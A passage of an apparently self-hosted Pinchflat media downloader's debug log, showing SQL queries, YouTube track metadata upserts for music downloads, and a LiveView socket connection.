(date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-26 02:13:13Z], 5] 22:20:15.218 [debug] QUERY OK source="sources" db=69.0ms queue=0.1ms idle=27.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:15.219 [debug] QUERY OK source="settings" db=69.2ms queue=0.1ms idle=26.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.220 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=69.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-07 16:14:48Z], 2] 22:20:15.383 [debug] QUERY OK source="media_items" db=233.8ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nAncient Waters · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Ancient Waters", "89200db0-b276-43f4-927f-d4ef43bc4f2e", false, "xSWL3L9FnQ4", 236, false, "https://www.youtube.com/watch?v=xSWL3L9FnQ4", 30, "/downloads/ChristianMetal/ChristianMetal/2017-01-26Ancient Waters[xSWL3L9FnQ4].NA", false, false, 5, [], 2, ~U[2017-01-26 02:13:13Z], ~U[2026-07-24 02:20:15Z], ~U[2026-07-24 02:20:15Z], "Provided to YouTube by The Orchard Enterprises\n\nAncient Waters · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Ancient Waters", "xSWL3L9FnQ4", 236, false, "https://www.youtube.com/watch?v=xSWL3L9FnQ4", "/downloads/ChristianMetal/ChristianMetal/2017-01-26Ancient Waters[xSWL3L9FnQ4].NA", false, 5, ~U[2017-01-26 02:13:13Z]] 22:20:15.384 [debug] QUERY OK source="sources" db=0.2ms idle=164.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:15.400 [debug] QUERY OK source="settings" db=179.5ms queue=0.5ms idle=70.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.400 [debug] QUERY OK source="media_profiles" db=15.9ms idle=164.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:15.420 [debug] QUERY OK source="settings" db=19.8ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:15.600 [debug] QUERY OK source="sources" db=179.6ms idle=20.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:15.618 [debug] QUERY OK source="media_items" db=218.0ms idle=16.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [196] 22:20:15.618 [info] Kicking off download for media item #196 (xSWL3L9FnQ4) 22:20:15.619 [debug] QUERY OK source="media_items" db=380.0ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎟️ Bilety na najbliższe koncerty Anime Symphony / Tickets for the next Anime Symphony \nhttps://goingapp.pl/wydarzenie/anime-symphony-kameralnie-gdansk/gdansk-lipiec-2026\n\nWspaniałe wykonanie „Treachery” - jednego z najbardziej ikonicznych utworów ze ścieżki dźwiękowej Bleach, skomponowanego przez Shiro Sagisu w aranżacji Krzysztofa Ratajskiego.\nPotężny Chór Pro Musica Mundi prezentuje wyraziste wykonanie w Filharmonii Narodowej, oddając niezapomniany klimat kojarzony z postacią Sōsuke Aizena.\nUtwór wykonany na żywo podczas Anime Symphony 2024 przez Orkiestrę Symfoniczną im. Karola Namysłowskiego w Zamościu - najstarszą polską orkiestrę symfoniczną.\n\n____________\n\nMarvelous performance of “Treachery”, one of the most iconic soundtracks from Bleach, composed by Shiro Sagisu.\nThe powerful Pro Musica Mundi Choir delivers a striking performance at the Polish National Philharmonic, bringing to life the unforgettable atmosphere associated with Sosuke Aizen.\nPerformed live during Anime Symphony 2024 by the Karol Namysłowski Symphony Orchestra in Zamość - the oldest Polish symphony orchestra.\n\n____________\n\n🤝 Partner: Animecraft (https://animecraft.pl/) – kod rabatowy ANI10 na zakupy / discount code ANI10 for your next purchase\n\n🎼 Wykonanie / Performance:\nTadeusz Wicherek – dyrygent / conductor\nOrkiestra Symfoniczna im. Karola Namysłowskiego w Zamościu / Karol Namysłowski Symphony Orchestra https://www.instagram.com/namyslowiacy/\nPro Musica Mundi / Pro Musica Mundi – chór / choir https://www.instagram.com/pro.musicamundi\n\n____________\n\nWWW: https://www.animesymphony.pl/\nInstagram: https://www.instagram.com/animesymphony_koncert/\nFacebook: https://www.facebook.com/animesymphonykoncert/\nTikTok: https://www.tiktok.com/@animesymphony_koncert", "Treachery (Bleach) – Live Orchestra | Anime Symphony 2024", "d6e18a9b-46c2-4b18-bb20-df65db75d073", false, "3D5lYRLg8JQ", 206, false, "https://www.youtube.com/watch?v=3D5lYRLg8JQ", 8, "/downloads/Classics/Classics/2026-04-07Treachery (Bleach) – Live Orchestra | Anime Symphony 2024[3D5lYRLg8JQ].m4a", false, false, 2, [], 1, ~U[2026-04-07 16:14:48Z], ~U[2026-07-24 02:20:15Z], ~U[2026-07-24 02:20:15Z], "🎟️ Bilety na najbliższe koncerty Anime Symphony / Tickets for the next Anime Symphony \nhttps://goingapp.pl/wydarzenie/anime-symphony-kameralnie-gdansk/gdansk-lipiec-2026\n\nWspaniałe wykonanie „Treachery” - jednego z najbardziej ikonicznych utworów ze ścieżki dźwiękowej Bleach, skomponowanego przez Shiro Sagisu w aranżacji Krzysztofa Ratajskiego.\nPotężny Chór Pro Musica Mundi prezentuje wyraziste wykonanie w Filharmonii Narodowej, oddając niezapomniany klimat kojarzony z postacią Sōsuke Aizena.\nUtwór wykonany na żywo podczas Anime Symphony 2024 przez Orkiestrę Symfoniczną im. Karola Namysłowskiego w Zamościu - najstarszą polską orkiestrę symfoniczną.\n\n____________\n\nMarvelous performance of “Treachery”, one of the most iconic soundtracks from Bleach, composed by Shiro Sagisu.\nThe powerful Pro Musica Mundi Choir delivers a striking performance at the Polish National Philharmonic, bringing to life the unforgettable atmosphere associated with Sosuke Aizen.\nPerformed live during Anime Symphony 2024 by the Karol Namysłowski Symphony Orchestra in Zamość - the oldest Polish symphony orchestra.\n\n____________\n\n🤝 Partner: Animecraft (https://animecraft.pl/) – kod rabatowy ANI10 na zakupy / discount code ANI10 for your next purchase\n\n🎼 Wykonanie / Performance:\nTadeusz Wicherek – dyrygent / conductor\nOrkiestra Symfoniczna im. Karola Namysłowskiego w Zamościu / Karol Namysłowski Symphony Orchestra https://www.instagram.com/namyslowiacy/\nPro Musica Mundi / Pro Musica Mundi – chór / choir https://www.instagram.com/pro.musicamundi\n\n____________\n\nWWW: https://www.animesymphony.pl/\nInstagram: https://www.instagram.com/animesymphony_koncert/\nFacebook: https://www.facebook.com/animesymphonykoncert/\nTikTok: https://www.tiktok.com/@animesymphony_koncert", "Treachery (Bleach) – Live Orchestra | Anime Symphony 2024", "3D5lYRLg8JQ", 206, false, "https://www.youtube.com/watch?v=3D5lYRLg8JQ", "/downloads/Classics/Classics/2026-04-07Treachery (Bleach) – Live Orchestra | Anime Symphony 2024[3D5lYRLg8JQ].m4a", false, 2, ~U[2026-04-07 16:14:48Z]] 22:20:15.620 [debug] QUERY OK source="sources" db=0.4ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:15.620 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:15.621 [debug] QUERY OK source="sources" db=2.8ms queue=17.2ms idle=180.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:15.623 [info] Sent 200 in 742ms 22:20:15.767 [info] CONNECTED TO Phoenix.LiveView.Socket in 20µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiYHUgQjJyM5U1AmDCtgPBcYBkYbJhkgcK4emkNbR5dvnfQjGr25HRNc", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:15.784 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:20:15.889 [debug] QUERY OK source="tasks" db=147.5ms queue=0.4ms idle=120.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [197, 196, ~U[2026-07-24 02:20:15Z], ~U[2026-07-24 02:20:15Z]] 22:20:15.889 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nIt's Okay (feat. Matt Baird) · Death Therapy · Matt Baird\n\nIt's Okay\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-29\n\nAuto-generated by YouTube.", "duration" => 221, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-03-28It's Okay (feat. Matt Baird)[aBMcLtW4J1w].m4a", "id" => "aBMcLtW4J1w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aBMcLtW4J1w", "playlist_index" => 31, "timestamp" => 1553767206, "title" => "It's Okay (feat. Matt Baird)", "upload_date" => "20190328"} 22:20:15.890 [debug] QUERY OK source="sources" db=0.3ms idle=268.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:15.890 [debug] QUERY OK source="sources" db=0.1ms idle=149.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:15.890 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-03-28 10:00:06Z], 5] 22:20:15.951 [debug] QUERY OK source="sources" db=166.2ms queue=0.1ms idle=164.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:15.951 [debug] QUERY OK source="media_items" db=330.0ms queue=0.2ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [45] 22:20:15.951 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by RCA/Legacy\n\nTake Me Home, Country Roads (Original Version) · John Denver\n\nPoems, Prayers and Promises\n\n℗ Originally released 1971. All rights reserved by RCA Records, a division of Sony Music Entertainment\n\nReleased on: 1971-04-06\n\nBackground Vocal: Fat City\nComposer, Vocal, Associated Performer, Guitar, Lyricist: John Denver\nComposer, Background Vocal, Lyricist: Bill Danoff\nBackground Vocal: Taffy Danoff\nGuitar: Mike Taylor\nSteel Guitar, Banjo: Eric Weissberg\nBass: Richard Kniss\nDrums: Gary Chester\nPiano: Frank Owens\nComposer, Lyricist: Taffy Nivert Danoff\nComposer, Lyricist: Mary Danoff\nProducer: Milton Okun\nRecording Engineer: Ray Hall\nAssistant Producer: Jean Kaplow\n\nAuto-generated by YouTube.", "duration" => 190, "filename" => "/downloads/Classics/Classics/2015-09-24Take Me Home, Country Roads (Original Version)[c0dvabcWVo0].m4a", "id" => "c0dvabcWVo0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c0dvabcWVo0", "playlist_index" => 9, "timestamp" => 1443124677, "title" => "Take Me Home, Country Roads (Original Version)", "upload_date" => "20150924"} 22:20:15.952 [debug] QUERY OK source="sources" db=0.7ms idle=61.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:15.953 [debug] QUERY OK source="sources" db=0.4ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:15.954 [debug] QUERY OK source="sources" db=2.7ms idle=61.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 